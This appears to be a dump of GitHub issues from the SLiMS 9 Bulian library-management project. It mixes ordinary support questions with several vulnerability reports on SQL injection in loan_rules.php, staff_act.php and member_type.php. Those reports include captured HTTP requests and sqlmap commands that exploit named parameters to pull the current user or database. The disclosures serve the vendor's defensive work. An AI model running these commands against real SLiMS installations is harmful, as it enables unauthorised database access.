Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Accept-Encoding: gzip, deflate, br
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073
Connection: close
```
**Desktop (please complete the following information):**
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.6.1
| [Security Bugs] SQL Injection at fines_report.php | https://api.github.com/repos/slims/slims9_bulian/issues/217/comments | 0 | 2023-11-13T00:00:09Z | 2023-11-13T00:00:09Z | https://github.com/slims/slims9_bulian/issues/217 | 1,989,644,007 | 217 |
[
"slims",
"slims9_bulian"
] | # The Bug
A SQL Injection has found in `admin/modules/membership/member_type.php` at the code below
```
$data['member_type_name'] = $dbs->escape_string($memberTypeName);
$data['loan_limit'] = trim($_POST['loanLimit']);
$data['loan_periode'] = trim($_POST['loanPeriode']);
$data['enable_reserve'] = $_POST['enableReserve'];
$data['reserve_limit'] = $_POST['reserveLimit'];
$data['member_periode'] = $_POST['memberPeriode'];
$data['reborrow_limit'] = $_POST['reborrowLimit'];
$data['fine_each_day'] = $_POST['fineEachDay'];
$data['grace_periode'] = $_POST['gracePeriode'];
$data['input_date'] = date('Y-m-d');
$data['last_update'] = date('Y-m-d');
```
### To Reproduce
Steps to reproduce the behavior:
1. Login as admin or user that has access membership type
2. Make sure the burp application is turned on to capture the request as screenshot below
![image](https://github.com/slims/slims9_bulian/assets/143168734/32ee28bb-2025-4c67-82a5-1b393a70b411)
3. Save the request in a separate file (sample.reg)
sample.reg example
```
POST /slims9_bulian-9.6.1/admin/modules/membership/member_type.php?itemID=2&detail=true&ajaxload=1& HTTP/1.1
Host: localhost
Content-Length: 1420
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQUBKpazqdLdsHspa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=membership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=f5581i7ero1b1mitlh328upvmt; admin_logged_in=1; SenayanMember=37qocaml59lu0snk1tt3n74qgn
Connection: close
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="csrf_token"
29ad9eb49edd5718652dff82f33e7ecb4000e5f376eac9d52346c6843c5b9d16
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="form_name"
mainForm
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="memberTypeName"
abcdef
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="loanLimit"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="loanPeriode"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="enableReserve"
1
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="reserveLimit"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="memberPeriode"
1
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="reborrowLimit"
4423
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="fineEachDay"
1
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="gracePeriode"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="saveData"
Update
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="updateRecordID"
2
------WebKitFormBoundaryQUBKpazqdLdsHspa--
```
run the test with the following command:
```
sqlmap -r example.req --level 5 --risk 3 -p reborrowLimit --random-agent --dbms=mysql --current-user
```
5. You've entered into the system
![image](https://github.com/slims/slims9_bulian/assets/143168734/5c1ea4c0-317e-45b3-a4c9-20bb97887a28)
## Screenshots
![image3](https://github.com/slims/slims9_bulian/assets/143168734/b213afde-559c-4a8a-9877-57190e4796e1)
## Versions
- OS: Windows
- Browser: Brave Browser | Version 1.57.57 Chromium: 116.0.5845.163 (Official Build) (64-bit)
- Slims Version: slims9_bulian-9.6.1
| Vuln0wned Report: SQL Injection in member_type.php | https://api.github.com/repos/slims/slims9_bulian/issues/216/comments | 2 | 2023-10-08T16:42:47Z | 2023-11-29T10:20:40Z | https://github.com/slims/slims9_bulian/issues/216 | 1,931,906,656 | 216 |
[
"slims",
"slims9_bulian"
] | **Describe**
Some time when you login member account and after that login staff account, it make member account logged out.
**To Reproduce**
Steps to reproduce the behavior:
1. Login with a member account in a tab or browser (tab 1)
2. Open in new tab and login with an staff or super admin user
3. Switch to tab 1 with user account login to seach, to view profile,...
4. User account lost session and logged out
It's not always to occur like above so I don't know why. The problem in many environment: XAMPP localhost, on hosting with CentOS, Ubuntu, PHP 7.4, 8.1, 8.2. | How to inspect code to find the issue of login? | https://api.github.com/repos/slims/slims9_bulian/issues/215/comments | 2 | 2023-10-07T09:31:44Z | 2024-05-11T15:03:38Z | https://github.com/slims/slims9_bulian/issues/215 | 1,931,277,108 | 215 |
[
"slims",
"slims9_bulian"
] | **Describe the bug**
I tried to upgrade from SLiMS 9.3.1 to 9.6.1 but I failed to enable Recaptcha. In 9.3.1, we enable recaptcha first at sysconfig.inc.php and then change keys from Google in file ./lib/recaptcha/smc_config.inc.php (or any files depend on what type of section we'd like to enable Recaptca).
**My ./config/captcha.php file**
<?php
return [
/**
* SLiMS by default use Google ReCaptcha v2
*
* make yours captcha library and provide it inside
* providers.
*/
'default' => 'recaptcha',
// Captcha sections
'sections' => [
'librarian' => ['active' => true],
'memberarea' => ['active' => true],
'forgot' => ['active' => true],
],
// Captcha providers
'providers' => [
'ReCaptcha' => [
'varify_url' => 'https://www.google.com/recaptcha/api/siteverify',
/**
* This is SLiMS public and private key only
* work on localhost. If your SLiMS was online you can register
* your app and get your key from https://www.google.com/recaptcha/admin/create
*/
'publickey' => 'SECRET',
'privatekey' => 'SECRET',
/**
* Recapcha library class, if you have your
* ReCaptcha library, feel free to change it with yours.
*/
'class' => \SLiMS\Captcha\Providers\ReCaptcha::class
]// Add another providers here
]
];
**Expected behavior**
Recaptcha to appear in admin/member/forget password form pages.
![screenshot-20231006100816](https://github.com/slims/slims9_bulian/assets/2328329/83beee7b-7cf5-42b2-b170-b97108295d72)
**Desktop (please complete the following information):**
- OS: Xubuntu 22.04
- Browser : Brave
- Version: 1.58.131 Chromium: 117.0.5938.92 (Official Build) (64-bit)
| How do I enable Captcha in SLiMS 9.6.1? | https://api.github.com/repos/slims/slims9_bulian/issues/214/comments | 1 | 2023-10-06T03:05:16Z | 2023-10-07T23:32:58Z | https://github.com/slims/slims9_bulian/issues/214 | 1,929,359,229 | 214 |
[
"slims",
"slims9_bulian"
] | Previously when i am adding a new item to the biblipgraphy list, i can choose a pattern and add total items, when i update, it generates items codes for the total item serially, however right now, it only adds 1 item irrespective of the total item. I am using slims bulian 9 ver 9.5. 1. I also started noticing the problem when i added up to 700 items in the application. | Items code Pattern refuse to generate serially | https://api.github.com/repos/slims/slims9_bulian/issues/213/comments | 0 | 2023-09-20T17:22:55Z | 2023-09-20T17:22:55Z | https://github.com/slims/slims9_bulian/issues/213 | 1,905,428,171 | 213 |
[
"slims",
"slims9_bulian"
] | It seems to SLiMS 9 Bulian are using both PDO and MySQLi? Or an abstraction DB like ADOdb?
Sometimes, I custom some codes for my library and I feel "something wrong", and I had to edit code lines , some cases it looked like PDO, and some case, it looks like MySQLi.
So, I have a question: Should I use PDO or MySQLi? (for compatble in the future when I want to upgrade current SLiMS to a newer version?). SLiMS's developers will support which? | SLiMS uses PDO or MySQLi for future? | https://api.github.com/repos/slims/slims9_bulian/issues/212/comments | 1 | 2023-09-20T04:20:54Z | 2023-09-21T22:28:10Z | https://github.com/slims/slims9_bulian/issues/212 | 1,904,096,844 | 212 |
[
"slims",
"slims9_bulian"
] | I accidentially erase the content "Library Information", how to restore it or re-make it, because I want to input data for Library Information | How To Restore "Library Information" on system Contect | https://api.github.com/repos/slims/slims9_bulian/issues/211/comments | 1 | 2023-09-13T12:00:20Z | 2023-09-16T13:37:40Z | https://github.com/slims/slims9_bulian/issues/211 | 1,894,376,522 | 211 |
[
"slims",
"slims9_bulian"
] | proses pengembalian buku yang lama pada hosting data buku yg udah banyak | pengembalian buku | https://api.github.com/repos/slims/slims9_bulian/issues/210/comments | 0 | 2023-09-10T15:20:53Z | 2023-09-13T07:49:31Z | https://github.com/slims/slims9_bulian/issues/210 | 1,889,184,362 | 210 |
[
"slims",
"slims9_bulian"
] | ## The Bug
A SQL Injection exists in `admin/modules/reporting/customs/staff_act.php` at the code below
```php
// create datagrid
$reportgrid = new report_datagrid();
$reportgrid->setSQLColumn('u.realname AS \''.__('Real Name').'\'',
'u.username AS \''.__('Login Username').'\'',
'u.user_id AS \''.__('Bibliography Data Entry').'\'',
'u.user_id AS \''.__('Item Data Entry').'\'',
'u.user_id AS \''.__('Member Data Entry').'\'',
'u.user_id AS \''.__('Loans').'\'',
'u.user_id AS \''.__('Returns').'\'',
'u.user_id AS \''.__('Extends').'\'');
$reportgrid->setSQLorder('realname ASC');
// is there any search
$criteria = 'user_id IS NOT NULL ';
$reportgrid->setSQLCriteria($criteria);
$start_date = '2000-01-01';
if (isset($_GET['startDate'])) {
$start_date = $_GET['startDate']; // unsanitized input 1
}
$until_date = date('Y-m-d');
if (isset($_GET['untilDate'])) {
$until_date = $_GET['untilDate']; // unsanitized input 2
}
```
**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to Staff Activity Reporting
2. Make sure the burp is on to capture the request as below
![image](https://github.com/slims/slims9_bulian/assets/143168734/f72b9929-b25b-4979-94fb-d630d9ad9fd0)
3. Save the request into a file (example.req)
4. Run the test with sqlmap with the command
```
sqlmap command:
sqlmap -r example.req --level 5 --risk 3 -p startDate --random-agent --dbms=mysql --current-user
```
5. It's in
![image](https://github.com/slims/slims9_bulian/assets/143168734/bbba465d-7b99-46f2-bb52-2a864f44d6ac)
**example.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/staff_act.php?startDate=2000-01-01&untilDate=2023-08-2&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Cookie: SenayanAdmin=68n7ojemg853g6ipos463oo2o2; admin_logged_in=1; SenayanMember=nva8k0bovrr32qckn46cs9u46h
Upgrade-Insecure-Requests: 1
```
## Screenshots
**proof-of-concept current user**
![image](https://github.com/slims/slims9_bulian/assets/143168734/fbcd3feb-60e3-402d-8e35-64ed2c79cb2e)
**Versions**
- OS: Windows
- Browser: Firefox | 116.0.3 (64-bit)
- Slims Version: slims9_bulian-9.6.1
## Notes
| Vuln0wned Report: SQL Injection in staff_act.php | https://api.github.com/repos/slims/slims9_bulian/issues/209/comments | 0 | 2023-09-01T09:36:16Z | 2023-09-05T06:25:21Z | https://github.com/slims/slims9_bulian/issues/209 | 1,877,090,139 | 209 |
[
"slims",
"slims9_bulian"
] | Hey there.
I've installed SLiMS on xampp, went through installation, set database and all.
I've setted admin username and password, but it doesn't work at all.
I am trying to login in at the 'Members' page, is there anywhere else to look for?
![image](https://github.com/slims/slims9_bulian/assets/48109354/2a800f75-8c6d-4ddd-9919-32e61a1801ad)
Thank you! ;) | Admin password doesn't work | https://api.github.com/repos/slims/slims9_bulian/issues/208/comments | 3 | 2023-08-29T20:18:50Z | 2024-01-12T12:01:37Z | https://github.com/slims/slims9_bulian/issues/208 | 1,872,368,471 | 208 |
[
"slims",
"slims9_bulian"
] | I couldn't load the results from Z3950 SRU search.
**To Reproduce**
Steps to reproduce the behavior:
1. Connect to 'http://z3950.nlv.gov.vn:9999/biblios'
2. Using Z3950 SRU
3. Found 'x' records, but couldn't show the results
<After a while discovering, I found the errors but couldn't solve it.>
info:srw/diagnostic/1/66: “Unknown schema for retrieval”
**Expected behavior**
Get the results, save records.
**Screenshot**
<img width="1123" alt="Screen Shot 2023-08-28 at 09 41 44" src="https://github.com/slims/slims9_bulian/assets/53134115/30904adc-35bb-4863-a6ce-c2e5e5545970">
**Desktop (please complete the following information):**
- OS: MacOS 10.15
- Browser: Safari
| Couldn't load the results from Z3950 SRU | https://api.github.com/repos/slims/slims9_bulian/issues/207/comments | 1 | 2023-08-27T15:07:43Z | 2023-09-08T01:55:12Z | https://github.com/slims/slims9_bulian/issues/207 | 1,868,528,947 | 207 |
[
"slims",
"slims9_bulian"
] | # The bug
A SQL Injection exists in `admin/modules/circulation/loan_rules.php` at the code below
```php
/* RECORD OPERATION */
if (isset($_POST['saveData'])) {
$data['member_type_id'] = $_POST['memberTypeID'];
$data['coll_type_id'] = $_POST['collTypeID'];
$data['gmd_id'] = $_POST['gmdID'];
$data['loan_limit'] = trim($_POST['loanLimit']);
$data['loan_periode'] = trim($_POST['loanPeriode']);
$data['reborrow_limit'] = trim($_POST['reborrowLimit']);
$data['fine_each_day'] = trim($_POST['fineEachDay']);
$data['grace_periode'] = trim($_POST['gracePeriode']);
$data['input_date'] = date('Y-m-d');
$data['last_update'] = date('Y-m-d');
// create sql op object
$sql_op = new simbio_dbop($dbs);
if (isset($_POST['updateRecordID'])) {
/* UPDATE RECORD MODE */
// remove input date
unset($data['input_date']);
// filter update record ID
$updateRecordID = (integer)$_POST['updateRecordID'];
// update the data
$update = $sql_op->update('mst_loan_rules', $data, 'loan_rules_id='.$updateRecordID);
if ($update) {
toastr(__('Loan Rules Successfully Updated'))->success();
echo '<script language="Javascript">parent.jQuery(\'#mainContent\').simbioAJAX(parent.jQuery.ajaxHistory[0].url);</script>';
} else { toastr(__('Loan Rules FAILED to Updated. Please Contact System Administrator')."\nDEBUG : ".$sql_op->error)->error(); }
exit();
} else {
/* INSERT RECORD MODE */
$insert = $sql_op->insert('mst_loan_rules', $data); // BUG HERE
if ($insert) {
toastr(__('New Loan Rules Successfully Saved'))->success();
echo '<script language="Javascript">parent.jQuery(\'#mainContent\').simbioAJAX(\''.$_SERVER['PHP_SELF'].'\');</script>';
} else { toastr(__('Loan Rules FAILED to Save. Please Contact System Administrator')."\n".$sql_op->error)->error(); }
exit();
}
exit();
}
```
# To Reproduce
**Steps to reproduce the behavior:**
1. Login as admin or user that has access to circulation
2. make sure burp suit is on to capture the request such as below:
<img width="1193" alt="slims-sqli0" src="https://github.com/slims/slims9_bulian/assets/116742485/49781e60-ac1b-451c-bc9c-ee8b834a428f">
3. save the request into a file (example.req)
4. run the test with sqlmao with the command `sqlmap -r example.req --level 5 --risk 3 -p gmdID --random-agent --dbms=mysql `
5. voila
<img width="939" alt="slims-sqli1" src="https://github.com/slims/slims9_bulian/assets/116742485/032013af-f3ad-49b1-866a-e09c3c947685">
### example.req
```
POST /slims9_bulian-9.6.1/admin/modules/circulation/loan_rules.php?action=detail&ajaxload=1 HTTP/1.1
Host: localhost
Content-Length: 1195
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypqBOyIslkQAaoPCi
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=circulation
Accept-Encoding: gzip, deflate
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=d79m01ubrn9d8cagafoflttg3m; admin_logged_in=1; SenayanMember=q0e3uf77qcmobchek4aciibpul; PHPSESSID=rh1hmcqfrm2a33e96b5lmtujn0
Connection: close
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="csrf_token"
98420c7b2b5656890daf0f80b7756a6bb63fac37cb8ad1ac40a7b3ab4cde54c9
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="form_name"
mainForm
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="memberTypeID"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="collTypeID"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="gmdID"
0
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="loanLimit"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="loanPeriode"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="reborrowLimit"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="fineEachDay"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="gracePeriode"
1
------WebKitFormBoundarypqBOyIslkQAaoPCi
Content-Disposition: form-data; name="saveData"
Save
------WebKitFormBoundarypqBOyIslkQAaoPCi--
```
# Screenshots
### proof-of-concept current database
command to run `sqlmap -r example.req --level 5 --risk 3 -p gmdID --random-agent --dbms=mysql --current-db`
<img width="755" alt="slims-sqli2" src="https://github.com/slims/slims9_bulian/assets/116742485/767a4fd5-2695-4675-8af7-7236456de9de">
# versions
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
Slims Version: slims9_bulian-9.6.1
# notes
added comment of the bug. last edit at 18 August 2023 21.12 GMT+7
| [Security Bugs] SQL Injection at loan_rules.php | https://api.github.com/repos/slims/slims9_bulian/issues/205/comments | 3 | 2023-08-18T14:09:37Z | 2023-09-01T06:50:58Z | https://github.com/slims/slims9_bulian/issues/205 | 1,856,790,763 | 205 |